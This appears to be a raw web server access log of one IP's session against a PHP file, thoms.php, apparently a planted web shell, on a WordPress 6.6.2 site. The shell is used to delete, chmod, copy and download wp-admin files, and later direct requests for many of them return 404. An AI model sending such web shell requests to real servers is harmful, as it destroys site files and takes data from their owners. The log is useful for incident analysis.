45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22272 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fuser-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/freedoms.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22262 "https://163.245.207.76:443/thoms.php?chmod=admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmoderation.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmoderation.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?del=ms-admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?chmod=network&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=network&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22267 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmoderation.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=ms-admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:41 -0400] "GET /thoms.php?del=menu-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=menu-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22194 "https://163.245.207.76:443/thoms.php?chmod=network&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22194 "https://163.245.207.76:443/thoms.php?del=menu-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?chmod=menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=post-new.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=post-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?del=edit-tag-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=edit-tag-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=post-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?del=install-helper.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=install-helper.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=edit-tag-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=install-helper.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?dl=about.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=about.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?dl=edit-form-advanced.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=edit-form-advanced.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=about.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?chmod=options-discussion.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=options-discussion.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=edit-form-advanced.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?chmod=options-media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=options-media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/privacy-policy-guide.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22262 "https://163.245.207.76:443/thoms.php?chmod=options-discussion.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:42 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/widgets.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=options-media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/wordpress-6.6.2-zh_TW/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fincludes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fincludes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?del=admin-ajax.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=admin-ajax.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fincludes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-form-blocks.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22202 "https://163.245.207.76:443/thoms.php?del=admin-ajax.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?dl=edit-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=edit-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/my-sites.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=edit-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-upgrade-network.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-upgrade-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/admin-post.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-upgrade-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-writing.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-writing.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-ajax.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-ajax.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/ms-delete-site.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-writing.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin-ajax.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:43 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/term.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?dl=ms-delete-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-delete-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-media.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=ms-delete-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=options-media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?dl=theme-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=theme-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/themes.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?dl=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=theme-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?dl=network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22211 "https://163.245.207.76:443/thoms.php?dl=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fwidgets-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fwidgets-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fwidgets-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=index.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/plugin-install.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?del=options-discussion.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=options-discussion.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=options-discussion.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?chmod=tools.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=tools.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /thoms.php?dl=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:44 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/load-scripts.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22279 "https://163.245.207.76:443/thoms.php?chmod=tools.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/ms-edit.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?del=customize.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=customize.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?del=customize.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
